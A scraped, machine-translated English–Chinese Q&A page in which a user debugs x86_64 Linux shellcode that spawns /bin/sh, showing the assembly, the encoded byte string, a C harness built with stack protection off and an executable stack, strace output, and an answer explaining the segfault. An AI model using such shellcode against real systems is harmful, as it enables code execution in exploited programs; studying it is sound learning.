[英]spawning a shell in linux x86_64 assembly
I'm trying to make a shellcode that spawns '/bin/sh' shell in Linux x86_64 assembly, and when I execute it as executable it works just fine. 我正在尝试制作一个在Linux x86_64程序集中生成'/ bin / sh'shell的shellcode,当我将其作为可执行文件执行时,它可以正常工作。 The problem is when I dump the binary of the code and a put it as a string I get the error:
问题是当我转储代码的二进制文件并将其作为字符串放入时我得到错误:
'segmentation fault: core dumped '
'分段错误:核心倾倒'
global _start
section .text
_start:
push 59 ;sys_execve
pop rax
xor rdi, rdi
push rdi
mov rdi, 0x68732F2f6e69622F ;/bin//sh in reverse
push rdi
mov rdi, rsp ;pointer to the /bin//sh
xor rsi, rsi ;NULL
xor rdx, rdx ;NULL
syscall
shellcode in C without binary: 没有二进制的C语言中的shellcode:
#include <stdio.h>
char sh[]="\x6a\x3b\x58\x48\x31\xff\x57\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x0f\x05 ";
void main(int argc, char **argv)
{
int (*func)();
func = (int (*)()) sh;
(int)(*func)();
}
Command I used to generate my shellcode: 用于生成我的shellcode的命令:
nasm -felf64 shellcode.nasm -o shellcode.o
ld shellcode.o -o shellcode
Command I used to generate the program I am exploiting: 命令我曾经生成我正在利用的程序:
gcc -fno-stack-protector -z execstack shellcode.c
strace ./shellcode output: strace ./shellcode输出:
execve("./shellcode", ["./shellcode"], 0x7ffe19f431f0 /* 59 vars */) = 0
brk(NULL) = 0x5651f32c3000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=96319, ...}) = 0
mmap(NULL, 96319, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ff0d7a8d000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff0d7a8b000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ff0d748d000
mprotect(0x7ff0d7674000, 2097152, PROT_NONE) = 0
mmap(0x7ff0d7874000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7ff0d7874000
mmap(0x7ff0d787a000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ff0d787a000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7ff0d7a8c4c0) = 0
mprotect(0x7ff0d7874000, 16384, PROT_READ) = 0
mprotect(0x5651f168d000, 4096, PROT_READ) = 0
mprotect(0x7ff0d7aa5000, 4096, PROT_READ) = 0
munmap(0x7ff0d7a8d000, 96319) = 0
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_ACCERR, si_addr=0x5651f168e020} ---
+++ killed by SIGSEGV (core dumped) +++
Segmentation fault (core dumped)
gcc -fno-stack-protector -z execstack shellcode.c
doesn't create a file called shellcode
. gcc -fno-stack-protector -z execstack shellcode.c
不会创建名为shellcode
的文件。 It creates a.out
because you didn't use -o
. 它会创建一个
a.out
因为你没有使用-o
。
Therefore running strace ./shellcode
will run the binary you produced with NASM + ld
. 因此,运行
strace ./shellcode
将运行您使用NASM + ld
生成的二进制文件。 But the strace output you show doesn't match a static executable. 但是您显示的strace输出与静态可执行文件不匹配。 Maybe it was from an earlier
gcc
invocation where you forgot -z execstack
也许它来自早期的
gcc
调用,你忘了-z execstack
Run strace ./a.out
to run the file you built with gcc
from your current version of your source. 运行
strace ./a.out
以从您当前的源代码版本运行使用gcc
构建的文件。
If you were passing the wrong args to execve
, strace
would show it returning -EFAULT
. 如果你将错误的args传递给
execve
, strace
会显示它返回-EFAULT
。 But just segfaulting without that probably means the executable you ran was trying to jump to a non-executable page. 但只是segfaulting没有那可能意味着您运行的可执行文件试图跳转到非可执行页面。 That would perfectly match a binary build without
-zexecstack
. 这将完美匹配没有
-zexecstack
的二进制构建。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.